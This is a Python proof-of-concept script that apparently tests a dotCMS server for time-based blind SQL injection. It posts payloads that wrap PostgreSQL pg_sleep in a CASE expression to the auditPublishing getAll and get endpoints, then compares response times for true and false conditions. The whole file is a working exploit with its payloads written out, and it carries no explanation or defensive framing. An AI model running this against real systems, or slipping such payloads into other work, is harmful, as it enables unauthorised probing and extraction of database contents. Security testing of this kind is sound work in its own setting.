import json, time, urllib.request, urllib.error, urllib.parse, os

host = os.environ.get("HOST", "dotcms")
base = f"http://{host}:8082"

def post(url, body):
    data = json.dumps(body).encode()
    start = time.perf_counter()
    req = urllib.request.Request(url, data=data, headers={"Content-Type":"application/json"}, method="POST")
    try:
        with urllib.request.urlopen(req, timeout=20) as resp:
            body_out = resp.read().decode(errors="replace")
            return resp.status, body_out, time.perf_counter() - start
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode(errors="replace"), time.perf_counter() - start
    except Exception as e:
        return -1, str(e), time.perf_counter() - start

def get(url):
    start = time.perf_counter()
    try:
        with urllib.request.urlopen(url, timeout=20) as resp:
            return resp.status, resp.read().decode(errors="replace"), time.perf_counter() - start
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode(errors="replace"), time.perf_counter() - start
    except Exception as e:
        return -1, str(e), time.perf_counter() - start

false_payload = ["x' || (SELECT CASE WHEN 1=2 THEN pg_sleep(0)::text ELSE '' END) || '"]
true_payload = ["x' || (SELECT CASE WHEN 1=1 THEN pg_sleep(5)::text ELSE '' END) || '"]

false_status, false_body, false_dur = post(f"{base}/api/auditPublishing/getAll", false_payload)
true_status, true_body, true_dur = post(f"{base}/api/auditPublishing/getAll", true_payload)

sqli = "x' || (SELECT CASE WHEN 1=1 THEN pg_sleep(5)::text ELSE '' END) || '"
get_url = f"{base}/api/auditPublishing/get?bundleId={urllib.parse.quote(sqli)}"
get_status, get_body, get_dur = get(get_url)

results = {
    "host": host,
    "getAll_false": {"status": false_status, "body": false_body, "duration": false_dur},
    "getAll_true": {"status": true_status, "body": true_body, "duration": true_dur},
    "get_bundleId": {"status": get_status, "body": get_body, "duration": get_dur}
}
print(json.dumps(results, indent=2))
